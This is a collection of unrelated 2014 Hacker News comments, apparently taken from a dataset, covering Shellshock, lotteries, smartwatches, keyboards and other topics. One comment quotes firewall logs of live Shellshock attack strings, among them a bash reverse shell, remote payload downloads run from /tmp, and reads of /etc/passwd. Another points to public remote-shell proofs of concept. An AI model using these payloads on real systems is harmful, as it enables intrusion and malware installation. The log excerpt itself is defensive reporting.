skysight-inc/HackerNews huggingface dataset:
Pretty cryptic. The FAQ should list the FAQs (make some possible ones up and answer them if you haven't had people ask any :) ), not ask the user for a question.
mod_php is just as vulnerable as running php cgi scripts.
Debian-based systems use dash instead of bash for /bin/sh. But if you have scripts that explicitly use bash, you are still at risk.
Password fields are not the only sensitive data inputs.
Vinod Khosla Forced to Allow Access to the Beach
Like LG's R Watch? http://www.engadget.com/2014/09/04/lg-g-watch-r-hands-on/)
I bet Microsoft are enjoying the fact that it is Linux that seems to have all the security vulnerabilities these days!
Panoramio founders try persuading Google not to kill site
No it is much too late if all it does is beat HEVC. Adoption and hardware availability is already there for HEVC so that has almost certainly become the successor to AVC as the main compatible widely deployed codec. 50% encoded size for same quality and similar computational complexity would do the trick but a 80% encoded file size wouldn't do it.

I guess AVC will fade out over the next 5-10 years and HEVC will dominate from a couple of years time until 2025 or so unless something computationally feasible can encode to about 50% file size earlier. Xiph needs to be demonstrating something in about 2022 that encodes to 50% of HEVC size with computational complexity that will be feasible in 2025 and that complexity has to be manageable in (mobile) hardware and in software.
By default, iOS keyboards cannot interact with other parts of the app/their container app, and cannot send information over the network. [1][2][3]

If you do enable full access, then yep, anything is fair game. But that's a tradeoff users can make.

[1] - https://twitter.com/SwiftKey/status/514540356918972416

[2] - http://swiftkey.com/en/blog/swiftkey-require-full-access/

[3] - https://developer.apple.com/library/ios/documentation/Genera...
I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.
Want more exploit POC? Search 'CVE-2014-6271' on pastebin, gist.github and twitter. There's a bunch of remote shells since yesterday.
Would you classify the Russell St Bombing as terrorism?

http://en.wikipedia.org/wiki/Russell_Street_Bombing

Edit: or maybe the Sydney Hilton bombing.

http://en.wikipedia.org/wiki/Sydney_Hilton_Hotel_bombing
Did the Ewoks eat the stormtroopers?
Its nothing more than state sanctified crack cocaine. Yeah, somebody is going to win eventually. Just not you.
This is going to be super useful. Thanks a bunch!
It looks great, very good job.

One question you should be prepared to answer is how you compare to alternatives:

- Services like Kimonolabs and Import.io

- Building a scraper with Scrapy

- Using Scrapehub

From what I understand the price point of the above is lower (some are free) while still offering the same features. What can you offer that they don't?
This site has a pretty good landing page.
I'm not sure the deflated look is because of the shape. Apple created a lot of hype with their watch.
Python-distribute.org is down
I don't know where best to report this. Quite annoying since our docker builds depend on it.
Of cause people don't react to the statistics that proclaim that they won't win, because someone won the last time.

It doesn't matter that the chances are 1 to 175 million, because someone did win, that's all that counts. The only guaranteed result is not to play, that will ensure that you do not win 100% of the time.
Nice. I wanted to say that the contrast of the green bg to white fonts in your graphicbox is a bit sore on the eyes.
Has LinkedIn lost control of its user email database?
The email address that I created exclusively for my (much reviled) LinkedIn account has just received a virus. Does this mean their database of user emails has been leaked? Compromised? Sold?

Or are their systems just sufficiently poor that the email has leaked through other means?
The DHCP attack vector is the one that is scariest to me. We know that dhclient on Linux is vulnerable, but the number of unpatched Linux machines on a public wifi network will likely be too small to be worthwhile to try to capture. Macs on the other hand are prevalent in places like coffee shops, and Apple is notoriously slow to patch security vulnerabilities in their operating systems. Has anyone done much analysis on OS X's vulnerability to this bug?
The issue is that BBOS stinks, is not on developers radar, and a major driver in the decision of "what phone to buy" is "does it have all my apps?"

BBRY is what, 1/8th of its high? 1/10th?
Is connecting to WiFi router with DHCP in Linux susceptible to Shellshock?
Indeed, on android this comes out of the box.
I've owned a wide range of smart watches (sony smartwatch 1, sony smartwatch 2, galaxy gear 1), and people actually compliment me/notice the watches quite frequently -- considering what they do/contain (essentially being very small computers), they're exceptionally small
Are you sure it's not your modem? (Consider upgrading to 9600 baud.)
..except GPS
WEDG – Another secured self-storage device
STOPPING MULTI-PLATFORM CLOUD PROBLEMS BEFORE THEY START
Heh, yeah- those two major failures certainly overshadow the hundreds of issues Win has. :)
The only suitable logo for this vulnerability: http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/e...
> To get your chance of winning down to a coin toss [...] You will have to plunk down your $2 at least 86 million times.

What am I missing here? $2x86 million gives me a 50% chance of getting $590 million? 172 < 295!
Developer here, happy to answer any questions.
This is just how I think about it. But then again, if you declined the first alcoholic drink then I wouldn't offer you another. You might be on medication, a teetotaler, or a recovering alcoholic for all I know, and I'm not the kind of person that needs to keep encouraging people around me to drink.
I've tested this on both Ubuntu 14.04 and CentOS 6.5, and they both sanitize the path variable such that this is not possible.

I believe this is controlled via the secure_path setting in your /etc/sudoers file.
Chickenpox / shingles vaccine appears to protect against herpes
Bye bye magnetic stripes. Bye bye to a ton of electronic garbage as a result (older store terminals, COIN, older Square/PayPal/etc readers, etc).
Imagine the savings on cocaine alone!
So, basically it's a watch and a pedometer?

Can anyone please come up with something more interesting than counting the number of steps I take during the day?
> toy-like design

I think this is due to Sony marketing it as an "active watch", similar to the fit bands that also look like rubber toys. Personally I like it, at least the black one. It actually looks nicer than the Pebble, not that the Pebble is a standard of style.
https://en.wikipedia.org/wiki/BlackBerry_10#Android_applicat...

> On June 18, 2014, BlackBerry announced an official relationship with Amazon.com, which will see the upcoming 10.3 update offer official access to Amazon Appstore.

Amazon's Android store is missing some things, but not much. The apps it has are more up to date than they were when I first got my Kindle Fire. I think developers are warming up to it.
"jQuery, the JavaScript framework"

wat
I don't know about that. I don't just drop the Motorola mic and walk away. They ask about it and almost everyone has said something about why the Apple watch won't be round. These people weren't techies so I can see why they thought it might be made by Apple. But they all said they wanted to get the Apple watch and seemed to be let down when the one on my wrist wasn't the Apple watch.
My instinct is that most well-versed Objective C programmers won't get much out of Swift. But for people like - non-Objective C programmers - it's been great. I've long since been put off by the alien syntax of it. I've been told numerous times that once you get to know it you adjust, and I believe it, but iOS programming is never going to be my full-time job, so I'm not interested in spending that amount of time getting comfortable.

With Swift, however, I was up and running very quickly. Also running in EXC_BAD_ACCESS errors, but hey, early days...
Those are some seriously expensive pin headers. Almost comical when compared to the price of the Micro Python board itself, which seems pretty reasonable!
They were so good with showmanship that many people missed the fact that it's a complex thing you need to swipe, tap and spin a wheel on to interact with a multitude of tiny apps on in a very un-Apple way.
Ask HN: Any mailing list that notifies about things like Shellshock?
Is there any mailing list I can subscribe to that notifies about things like Shellshock and Heartbleed?
Relax the prohibition of usage fchdir(2) to quit a chroot
Do you disagree with United States v. Danny Lee, where the Ninth Circuit decided that you need a warrant to spy through someone's walls with a thermal camera?

It's all EM radiation, but monitoring one vs the other has very different real world implications.

In this particular instance, the plaintiffs had security options available on their wifi transmissions (unlike thermal emissions) and chose to transmit in the clear instead, so that's part of what the case is discussing.
Agreed. It's not irrational if you derive enjoyment from losing money.
That "solution" won't protect you from this.

All you're doing is hiding the call to system/execve behind deeper layers of abstraction.

Plus if people actually went ahead and reproduced all of the GNU/busybox toolchain inside of Python then everyone would be queuing up to criticise them, particularly if they introduced more security issues (e.g. reproducing rsync fully within a Python library).

Realistically using execve instead of system is a step forward. It is more efficient for non-scripts and you aren't potentially picking up poisoned environmental variables. But if you NEED to run utilities then all you can really do is pre-parse all the parameters carefully and hope for the best.

Suggesting never using either execve or system is just highly unrealistic. There is just too much useful code available via it and aren't nearly enough libraries to reproduce all of that code within whatever language you're working.
First evidence of Quantum Gravity?
cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now.

Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.

This is definitely not going to affect just a few legacy CGI sites.
You can apply the patch to the OS X version of 3.2: http://apple.stackexchange.com/questions/146849/how-do-i-rec...
Python for embedded? How micro is micro? What kind of memory footprint are we talking about compared to C?
Garbage collection on an embedded controller?
Building the New SoundCloud iOS Application – Part II: Waveform Rendering
PowerShell scripting is pretty terrible though. And it's concept is limited to only 1 runtime.
Well it was immune to heartbleed, lol

(ancient openssl never had tls heartbeat feature)

But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017

https://access.redhat.com/support/policy/updates/errata#th-r...

CentOS simply decided not to keep up with it anymore, cannot blame them.
I've been running upgraded bash - and more recently, just zsh, in OSX for years. It has never broken anything here.

I think the risk of breaking something is outweighed by the risk of exploit.
When comparing security warning from RedHat https://access.redhat.com/solutions/1207723 vs Ubuntu http://www.ubuntu.com/usn/usn-2362-1/ the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?
If you don't want things to get broken further down the line, you should use tags. It's the same with any dependency.
I was just looking at http://stackoverflow.com/a/941390/2517719 on monday, and I completely missed the implications.
The One Reason Why Banner Ads Will Never Die
I'd wager it doesn't have >10% conversion however...
The message isn't for people like you or me(I play too when the jackpot is some crazy value). It's for the poor & uneducated who think that by spending half of their month's salary on 350 lottery tickets gives them a better chance at winning.
And still less useful than this from the 90s:

http://www.amazon.com/gp/product/B000GAWSAY
From the perspective of the Broken Window Fallacy, though, buying a new window is equivalent to buying a book. Need is not a component of the fallacy whatsoever. Thus, your final statement is incorrect. pravda was not pointing out anything; the fallacy is not applicable to this situation.
This looks somewhat similar to what we're doing at my current job. We've writing APIs for our internal systems to decouple things a bit, and have ended up with a frontend router, a "middle-end" message queue and backend scripts to do the processing.

However, our Vagrant setup just took a massive turn for the worse: due to some compatability issues, these VMs have now all been hooked together using Puppet! During provisioning, if the git repos for the other machines aren't checked out to a particular location, everything dies; which seems like a really cargo-culty choice to me.

I'd be interested in doing things like this with Nix: Disnix to define the relationships between the servers and NixOps to define the VM provisioning. That may be because I'm a functional programming nut who's just switched to NixOS though ;)
I wish there was more detailed technical information on the page. I've been trying to figure out how precise the timer is, or at what frequency you can read from the pins. The answer seems to be provided on pages 112+ in the datasheet of the micro controller, but in a not very easy to understand format for the aspiring programmer without EE knowledge.

http://www.st.com/web/catalog/mmc/FM141/SC1169/SS1577/LN1035...
Top websites to submit your startup
There's no need to shut it down. If you're concerned for some reason (if you have important data on it and/or use it on untrusted networks), just remove bash or at least make it unexecutable.

A fair bit of warning though that some scripts might break, but at least you know why (if the alternative is to turn off the machine until you trust bash again then you may have to wait forever).

On a standard Ubuntu or Debian most shell scripts uses dash anyway so it shouldn't be too bad.
The IKEA Gimmick: Are These Home Interiors REAL or FAKE?
When I ran "sudo ls", the command that was logged was "/bin/ls", so putting a different ls in $PATH would not trick sudo's logging.
This is the primary reason that I chose swype over swiftkey on iOS. It doesn't require internet access, so as far as I understand it, all my keystrokes are completely sandboxed inside it.

No way I'm agreeing to have everything I type transmitted to a third party.
I think some part of your comment is missing, as I can't follow the numbers.

The whole point of my comment is precisely about the fact that extra hours don't necessarily represent proportionately greater productivity. If investors only look at number of hours you work and not what you produce, then I'd be fearful for their cash.

The lecture conveyed the "all day, everyday" message and that goes against my intuition.
There are links to all the dockerfiles on the repo pages on Dockerhub.
Pretty sure it's run as a one-shot boot service on almost all distros.
Putting down money and expecting to get less money back is irrational, unless you're rationally pursuing some higher goal (in the case of lotteries' education funds, more efficiently obtained by writing checks to the appropriate agencies as donations.)

Of course, there are worse things in life than being irrational, and a variety of human beings' irrational instincts form incredibly useful heuristics for long-term value maximization (on both individual and societal levels) which might otherwise be difficult to attain, given the limitations of the rational brain: love, patriotism, et cetera.

It sounds like the unpredictability of the results is something you value, perhaps because it's exciting. That's a pretty irrational thing to value, but not intrinsically harmful in small doses; people put down money for plenty of ridiculous forms of entertainment.

But you could own up to it. :b
Hey all, we make one of the keyboards on the list, Minuum. It has been really fun to see the iOS community jumping on to third party keyboards so whole-heartedly.

I'm curious, since I've never really asked the HN community about this: what do hackers look for in a virtual keyboard? We all have strong opinions on optimizing our hardware keyboards, (I suspect HN has one of the highest proportions of DVORAK users out there) but I've seen less debate for soft keyboards.

Software keyboards have the potential to be much more flexible and customizable than hardware ones, is this something that we want or need? Is lack of a good coding keyboard the thing that stops us from really writing code on a tablet?
7 Tips for Landing That First Gig
It's a site offering a $1000 product/service. I'd love for you to name a single company pitching this rate that does get 10% conversion.
Port of Dallas
Analyst Watch: The 12 characteristics of modern application development
RSA Signature Forgery in NSS
Are you aware of any way that the work of Overmars et al. fails to meet the criterion "any modification to the data structure (such as a write or resize) must make sure the structure remains in a completely valid state after every individual modification"?
Summary about the new initiative:

- Act as reference point for guiding foreign investors on all aspects of regulatory and policy issues and to assist them in obtaining regulatory clearances

- simplify and reduce the burden of compliance on investors

- Transform the economy from the services-driven growth model to labour-intensive manufacturing-driven growth.

- Aims to attract foreign companies to set up factories in India and invest in the country's infrastructure.

- The new government has liberalised defense manufacturing and insurance sectors to attract FDI, but analysts say the government needs to do much more to attract foreign capital.

- Sectors like automobiles, chemicals, IT, pharmaceuticals, textiles, ports, aviation, leather, tourism and hospitality, wellness, railways among others will provide details of growth drivers, investment opportunities, sector specific FDI and other policies and related agencies.

Source : http://profit.ndtv.com/news/cheat-sheet/article-pm-modis-mak...
Your construction is "ownership of a car equals the right to restrict who gets to drive the car."

My mistake was interpreting that to include "where".

By parallel construction, "ownership of a bottle of vodka equals the right to restrict who gets to use the bottle of vodka", doesn't it? We do not allow children to use a bottle of vodka in the same way that adults can use it.

Your parallel construction should be "ownership of a gun equals the right to restrict who gets to use the gun", but you instead countered with "ownership of a gun equals the right to restrict how it can be used."

Isn't that a similar mistake to the one I made? Prohibitions on the target are "a restriction on behavior in the interests of public safety that trump certain property rights", and not a restriction on who can shoot it, no?
I spun up an EC2 ubuntu 14.04 instance a few minutes ago - a quick check shows sh -> dash.

Are your systems fresh installs or dist-upgrades from older systems? I wonder if there's a difference there somehow. Or perhaps your puppet/chef/etc rules are changing to bash?
Like a bespoke Launchrock. Whatever happened to Launchrock? Oh, it got acquired by a company I've never heard of. Moving on.
SQL Server Radio Show 5 with Guest Kevin Kline
I'm confused here. The mere existence of an event horizon - albeit a temporary one - should make a black hole! So "More specifically, we find that collapsing stars slow down their collapse right outside their horizon," by implying that a horizon DOES exist, simply doesn't cut it. Am I missing something?
That or it does something ridiculously specific with a rare feature that was removed and the people who built it have left.

You find a lot of that type in education/local government.
How do you like the Smartwatch 2? I have enough points on my Sony card to pick one up, but I'm still on the fence as to whether or not I would actually use it.
Distros typically maintain a set of their own patches that go on top of the officially released source.
By clicking around, I got some interesting insights into FDI policy. Maybe the website just need to be re-organized to make the content more accessible.
This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:

() { :;}; /bin/ping -c 1 198.x.x.x
() { :;}; echo shellshock-scan > /dev/udp/example.com/1234
() { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
() { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
() { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
() { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
() { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &

If you are one of our (paying) customers the rules to block this exploit are enabled automatically.
It has to be subprocess.Popen(..., shell=True) to be a problem here, the default is shell=False.

(avoiding implicit shell=True was one of the motivations for the subprocess module)
That's weird:

$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.1 LTS
Release:	14.04
Codename:	trusty
$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Feb 19 2014 /bin/sh -> dash
Could be. Or it could be a server on either end. Or a connection in between. Email is inherently insecure. So, even though you have an SSL connection to your server when you send your email and they have an SSL connection to their server when they receive it, your two servers make a plaintext connection to actually send the email from one to the other.
I'm reluctant to add to uncertainty, but I'm not sure these are the only concerns. Many Linux systems execute shell scripts via bash after acquiring a DCHP address, and would be vulnerable if someone took over the DHCP servers in, say, a co-working space, cafe or airport and maliciously configured them. I'm not 100% sure if Mac OS X (or iOS) use shell scripts for post-assignment configuration. The short answer is to be careful about wireless access you don't control until Apple issues a patch.
Apple's promised hearbeat sensor is a good step towards making a more advanced fitness/health device, at least. Even though I'd rather have that as a thin Fitbit-style band rather than a chunky touchscreen watch.
Most lottery games these days are state-owned lotteries, fundraisers for the government which also spend a lot of money on their own logistics and advertising.
How to create Buyer Personas to help your company thrive
cPanel uses CentOS and does system upgrades ala yum update.

Dunno if that is on by default or not though.

But you aren't going to get into its cgi interface without login so that would have to be cracked first.
Same here as well, Pebble and LG Gear, and noth have been noticed and complimented on frequently.